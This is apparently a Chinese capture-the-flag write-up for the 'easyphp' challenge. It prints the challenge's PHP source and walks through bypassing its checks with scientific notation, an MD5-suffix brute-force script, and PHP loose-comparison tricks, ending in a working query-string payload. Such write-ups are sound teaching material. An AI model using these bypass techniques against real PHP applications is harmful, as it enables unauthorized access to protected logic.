[江苏工匠杯]easyphp
- ctf
- 2024-03-15
- 2721热度
- 0评论
先看源码
<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; $a = $_GET['a']; $b = $_GET['b']; if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){ if(isset($b) && '8b184b' === substr(md5($b),-6,6)){ $key1 = 1; }else{ die("Emmm...再想想"); } }else{ die("Emmm..."); } $c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ $d = array_search("DGGJ", $c["n"]); $d === false?die("no..."):NULL; foreach($c["n"] as $key=>$val){ $val==="DGGJ"?die("no......"):NULL; } $key2 = 1; }else{ die("no hack"); } }else{ die("no"); } if($key1 && $key2){ include "Hgfks.php"; echo "You're right"."\n"; echo $flag; }
先看第一部分
要求get 传参a和b
intval — 获取变量的整数值
?id='1000' //"1000"或(1000)皆可 ?id=125<<3 //左移 ?id=680|320 //按位或 ?id=992^8 //按位异或 ?id=~~1000 //两次取反 ?id=0x3e8 //十六进制 ?id=0b1111101000 //二进制
要求a的值大于6000000且长度小于等于3
可以使用科学计数法绕过
a=3e8 #得到300000000大于6000000且长度小于等于3
再看传参b
'8b184b' === substr(md5($b),-6,6)
要求传参经过md5后的从截取密文后6位等于“8b184b”,这里就是一个简单的哈希碰撞,我们写一个Python脚本跑一下
从别的师傅copy
import random import hashlib value = "8b184b" while 1: plainText = random.randint(10**11, 10**12 - 1) plainText = str(plainText) MD5 = hashlib.md5() MD5.update(plainText.encode(encoding='utf-8')) cipherText = MD5.hexdigest() if cipherText[-6:]==value : print("碰撞成功:") print("密文为:"+cipherText) print("明文为:"+plainText) break else: print("碰撞中.....")
跑出来的密文和明文分别为:
密文:842fc2485a1faa0681f78d3e098b184b
明文:792616362347
所以我们传入b=792616362347
接下来第二部分
$c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ $d = array_search("DGGJ", $c["n"]); $d === false?die("no..."):NULL; foreach($c["n"] as $key=>$val){ $val==="DGGJ"?die("no......"):NULL; } $key2 = 1; }else{ die("no hack"); } }else{ die("no"); }
c需要传入一个json格式的字符串
其中key为m的value不能为数字,且要大于数字2022
当字符串与数字进行比较时,会将字符串强制转化为整型
所以我们可以传入一个123456a,在进行比较时会被强制转换为123456与2022进行比较
count():返回数组中元素的数目
再看key为n的value必须是一个数组,且value的数量必须为2,且第一个value也必须是一个数组
接着往下看
第一次用array_search搜索n中是否有"DGGJ",有的话才能开启下一步
第二次使用foreach循环搜索n中的值是否含有"DGGJ",没有的话才会使key2的值为1
这里就矛盾起来了,既要求n中有"DGGJ",又要求n中没有"DGGJ"
所以我们必须要绕过其中一个函数,array_search函数是可以绕过的
当函数将字符串与数字进行匹配时,其中是==这种弱等于,会将字符串强制转换为整型进行比较,"DGGJ"转化为整型为0
而注意第二个是===强等于,不仅比较值相等还会比较值得类型,所以就可以绕过第二个条件了
具踢4看下测试
所以c={"m":"123456a","n":[["6"],0]} 最后的payload:
?a=3e8&b=792616362347&c={"m":"123456a","n":[[6],0]}

